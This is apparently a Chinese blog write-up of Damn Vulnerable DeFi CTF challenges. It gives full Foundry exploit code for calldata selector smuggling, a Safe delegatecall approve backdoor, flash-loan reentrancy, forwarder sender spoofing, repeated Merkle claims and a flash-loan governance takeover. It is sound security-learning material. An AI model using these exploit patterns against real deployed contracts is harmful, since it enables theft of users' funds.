刷点区块链,onlypwner也很不错,但是不给发wp,就发发这个的,项目地址:https://github.com/theredguild/damn-vulnerable-defi ,用foundry写起来很方便,持续更新
abi-smuggling
合约很短,目标是把vault里所有代币转到recovery账户,注意到有个函数是直接转address(this).balance
function sweepFunds(address receiver, IERC20 token) external onlyThis {
SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));
}
于是本题目标大概率就是调用这个函数,但是有个onlyThis的modifier
modifier onlyThis() {
if (msg.sender != address(this)) {
revert CallerNotAllowed();
}
_;
}
于是就得看看别的功能,比如这个execute
function execute(
address target,
bytes calldata actionData
) external nonReentrant returns (bytes memory) {
// console.logBytes(msg.data);
// Read the 4-bytes selector at the beginning of `actionData`
bytes4 selector;
uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
assembly {
selector := calldataload(calldataOffset)
}
// console.logBytes(abi.encodePacked(selector, msg.sender, target));
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
_beforeFunctionCall(target, actionData);
return target.functionCall(actionData);
}
其中的permissions是这样设置的
bytes32 deployerPermission = vault.getActionId(
hex"85fb709d",
deployer,
address(vault)
);
bytes32 playerPermission = vault.getActionId(
hex"d9caed12",
player,
address(vault)
);
其中85fb709d和d9caed12分别是sweepFunds和withdraw函数的选择器
由于msg.sender确实改不了。所以需要自行构造calldata去让他内联汇编得到的selector是d9caed12而实际调用的其实是sweepFunds的,也算是经典问题了,也不多说,直接上calldata
1cff79cd //execute函数的选择器
0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264 //target参数(只能设为address(vault))
0000000000000000000000000000000000000000000000000000000000000080 // 偏移,利用这里的便宜使得实际使用的actionData是后面那个
0000000000000000000000000000000000000000000000000000000000000000 // 补啥都行
d9caed1200000000000000000000000000000000000000000000000000000000 //execute里的selector就取的这个
0000000000000000000000000000000000000000000000000000000000000044 //真正的actionData开始
85fb709d00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000
下面这段也简单说一下
85fb709d //sweepFunds的选择器
00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa // recovery
0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b // token
00000000000000000000000000000000000000000000000000000000 //补到32整数倍
构造完直接call就行
bytes memory final_call = hex"1cff79cd0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b26400000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000";
address(vault).call(final_call);
test一下可以看到非常成功
forge test -vvvvv --mp ./test/abi-smuggling/ABISmuggling.t.sol
backdoor
有点小难,要看的合约有点多,题目要求在一次交易中把所有代币都转到recovery账户
整体就是为每个airdrop的接受者生成一个代理钱包收钱,但是在setup函数里有一个setupModules,里面是用delegatecall做一些事情,就有了可乘之机
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
题目合约里的proxyCreated函数最后会把10ether转给factory生成的代理合约,所以就在想着能不能让这个setupModules的calldata去call一下ERC20的approve,然后转账完了直接transferfrom就可以了
于是可以写出攻击合约:
contract Backdoor {
address[] users;
Safe singletonCopy;
SafeProxyFactory walletFactory;
DamnValuableToken token;
WalletRegistry walletRegistry;
address recovery;
constructor(
address[] memory _users,
address _singletonCopy,
address _walletFactory,
address _token,
address _walletRegistry,
address _recovery
) {
users = _users;
singletonCopy = Safe(payable(_singletonCopy));
walletFactory = SafeProxyFactory(_walletFactory);
token = DamnValuableToken(_token);
walletRegistry = WalletRegistry(_walletRegistry);
recovery = _recovery;
}
function fakeapprove(
address _token,
address _recovery,
uint256 _amount
) external {
DamnValuableToken(_token).approve(_recovery, _amount);
}
function attack() external {
for (uint i = 0; i < users.length; i++) {
address[] memory _owners = new address[](1);
_owners[0] = users[i];
bytes memory Module_call_data = abi.encodeWithSignature(
"fakeapprove(address,address,uint256)",
address(token),
address(this),
10 ether
);
bytes memory test_call = abi.encodeWithSelector(
singletonCopy.setup.selector,
_owners,
1,
address(this),
Module_call_data,
address(0),
address(0),
0,
address(0)
);
walletFactory.createProxyWithCallback(
address(singletonCopy),
test_call,
0,
walletRegistry
);
address generated_proxy = walletRegistry.wallets(users[i]);
console.log(token.balanceOf(generated_proxy));
console.log(token.allowance(generated_proxy, address(this)));
// console.log(generated_proxy);
token.transferFrom(generated_proxy, address(this), 10 ether);
token.transfer(recovery, 10 ether);
}
}
}
approve这一步需要自己写一下,不能直接在setupModules里面去调用approve,因为这一步是delegatecall,会在代理合约的上下文中进行,如果直接approve就会导致msg.sender是factory合约,但是如果在这次delegatecall里去调用自己写的Backddor合约里的fakeapprove函数去approve的话msg.sender就会是代理合约了
这里一开始我是直接给recovery账户approve的,但是不知道为什么后面的transferFrom一直会panic,搞不明白,后来以这个Backdoor合约自己做一下中转就可以了,不是很明白什么原因
test_backdoor直接部署这个合约就行
function test_backdoor() public checkSolvedByPlayer {
// console.logBytes4(singletonCopy.setup.selector);
/* walletFactory.createProxyWithCallback(
address(singletonCopy),
data,
0,
walletRegistry
);*/
Backdoor backdoor = new Backdoor(
users,
address(singletonCopy),
address(walletFactory),
address(token),
address(walletRegistry),
address(recovery)
);
backdoor.attack();
}
unstoppable
一个经典的dos,直接把自己的代币transfer给vault就行了,就会导致monitor检查的时候过不了这一条
if (convertToShares(totalSupply) != balanceBefore)
revert InvalidBalance(); // enforce ERC4626 requirement
Exp:
function test_unstoppable() public checkSolvedByPlayer {
token.transfer(address(vault), 1 ether);
}
naive-receiver
目的是掏空receiver的10eth和pool里的100eth,receiver掏起来很简单,直接调用10次flashloan就行,每次会收他1eth的fee,进行完这一步后pool里就1010eth了,接下来就要吧这些全偷了
可以看到flashloan后所有的fee是到了feeReceiver的账户里,而这个账户就是deployer,所以此时deposits[feeReceiver]就是1010eth
此时如果能控制withdraw函数里的_msgSender()返回deployer的地址就行了,这还是挺容易的,只要控制一下calldata就行
又因为需要在2笔交易内完成,所以直接用那个multicall就行,写11个calldata,前十个用来掏空receiver,最后一个掏空pool,注意最后掏空pool的时候calldata得在后面加上一个deployer,这样_msgSender()就能返回deployer的地址,签名那里的hash值是BasicForwarder.sol里的_hashTypedData(getDataHash(request))的返回值
exp:
function test_naiveReceiver() public checkSolvedByPlayer {
bytes memory call_receiver = abi.encodeWithSignature(
"flashLoan(address,address,uint256,bytes)",
IERC3156FlashBorrower(address(receiver)),
address(weth),
1 ether,
bytes("")
);
bytes memory call_pool = abi.encodePacked(
abi.encodeWithSignature(
"withdraw(uint256,address)",
1010 ether,
recovery
),
deployer
);
bytes[] memory calls = new bytes[](11);
for (uint256 i = 0; i < 10; i++) {
calls[i] = call_receiver;
}
calls[10] = call_pool;
BasicForwarder.Request memory request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: 1000000,
nonce: 0,
data: abi.encodeWithSignature("multicall(bytes[])", calls),
deadline: block.timestamp + 1
});
(uint8 v, bytes32 r, bytes32 s) = vm.sign(
playerPk,
hex"93d1013a86f6910413c4664bac55cef52aee84d753f2d3e6067034e83259cee1"
);
bytes memory signature = abi.encodePacked(r, s, v);
console.logBytes(signature);
forwarder.execute(request, signature);
}
Truster
这是真简单,直接让pool去call一下token去approve就行了,amount就设为0
但是还是不知道为什么不能直接approve给recovery然后直接transferFrom,这样会panic
Exp:
function test_truster() public checkSolvedByPlayer {
Hack hack = new Hack(address(pool), address(token), recovery);
}
contract Hack {
constructor(address _pool, address _token, address _recovery) {
TrusterLenderPool pool = TrusterLenderPool(_pool);
DamnValuableToken token = DamnValuableToken(_token);
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
type(uint256).max
);
pool.flashLoan(0, address(0), _token, data);
token.transferFrom(_pool, address(this), token.balanceOf(_pool));
token.transfer(_recovery, token.balanceOf(address(this)));
}
}
side-entrance
闪电贷经典漏洞,调用execute的时候去deposit就行,因为这里还款后只检测pool的余额
Exp:
function test_sideEntrance() public checkSolvedByPlayer {
Hack hack = new Hack(address(pool), recovery);
hack.attack();
}
contract Hack {
SideEntranceLenderPool pool;
address recovery;
constructor(address _pool, address _recovery) payable {
pool = SideEntranceLenderPool(_pool);
recovery = _recovery;
}
function attack() external {
pool.flashLoan(address(pool).balance);
pool.withdraw();
payable(recovery).transfer(address(this).balance);
}
function execute() external payable {
pool.deposit{value: msg.value}();
}
fallback() external payable {}
}
the-rewarder
有点子莫名其妙,直接整个超长claim就行了,根据claimRewards的逻辑
注意测试的时候不要开-vvvvv,不然卡死你
if (token != inputTokens[inputClaim.tokenIndex]) {
if (address(token) != address(0)) {
if (!_setClaimed(token, amount, wordPosition, bitsSet))
revert AlreadyClaimed();
}
token = inputTokens[inputClaim.tokenIndex];
bitsSet = 1 << bitPosition; // set bit at given position
amount = inputClaim.amount;
} else {
bitsSet = bitsSet | (1 << bitPosition);
amount += inputClaim.amount;
}
// for the last claim
if (i == inputClaims.length - 1) {
if (!_setClaimed(token, amount, wordPosition, bitsSet))
revert AlreadyClaimed();
}
如果token和inputTokens[inputClaim.tokenIndex]相等就会一直加amount,直到最后一个才去调用_setClaimed,那直接整个特长的claim就行了,一次性掏空,需要先提前计算一下最多能接受几次airdrop,json文件里有player的地址,发现airdrop数额分别是11524763827831882和1171088749244340,并且总额是10eth和1eth,直接算一下就行了
>>> (10**19) / 11524763827831882
867.696739767488
>>> (10**18) / 1171088749244340
853.9062480493154
所以就整一个867+853长度的claim就行,最后把token全转给recovery,简单
Exp:
function test_theRewarder() public checkSolvedByPlayer {
Claim[] memory claims = new Claim[](867 + 853);
bytes32[] memory dvtLeaves = _loadRewards(
"/test/the-rewarder/dvt-distribution.json"
);
bytes32[] memory wethLeaves = _loadRewards(
"/test/the-rewarder/weth-distribution.json"
);
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
claims[0] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: 11524763827831882,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(dvtLeaves, 188) // Alice's address is at index 2
});
for (uint i = 0; i < 866; i++) {
claims[i + 1] = claims[0];
}
claims[867] = Claim({
batchNumber: 0, // claim corresponds to first WETH batch
amount: 1171088749244340,
tokenIndex: 1, // claim corresponds to second token in `tokensToClaim` array
proof: merkle.getProof(wethLeaves, 188) // Alice's address is at index 2
});
for (uint i = 0; i < 852; i++) {
claims[i + 868] = claims[867];
}
distributor.claimRewards({
inputClaims: claims,
inputTokens: tokensToClaim
});
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}
selfie
这题也挺简单的,但是一开始真的是完全不知道哪里可以绕过等待两天的限制,最后看了wp才知道是用foundry的cheatcode去调时间,六百六十六
总体就是闪电贷借个150万eth然后拿去增加自己的vote,然后在SimpleGovernance那里提一个action再改时间再execute就行了
exp:
function test_selfie() public checkSolvedByPlayer {
Hack hack = new Hack(
address(token),
address(governance),
address(pool),
recovery
);
hack.attack1();
vm.warp(block.timestamp + 2 days);
hack.attack2();
}
contract Hack {
DamnValuableVotes token;
SimpleGovernance governance;
SelfiePool pool;
address recovery;
constructor(
address _token,
address _governance,
address _pool,
address _recovery
) {
token = DamnValuableVotes(_token);
governance = SimpleGovernance(_governance);
pool = SelfiePool(_pool);
recovery = _recovery;
}
function onFlashLoan(
address initiator,
address ttoken,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
token.delegate(address(this));
governance.queueAction(
address(pool),
0,
abi.encodeWithSignature("emergencyExit(address)", recovery)
);
DamnValuableVotes(ttoken).approve(address(pool), type(uint256).max);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function attack1() external {
pool.flashLoan(
IERC3156FlashBorrower(address(this)),
address(token),
token.balanceOf(address(pool)),
""
);
}
function attack2() external {
governance.executeAction(1);
}
}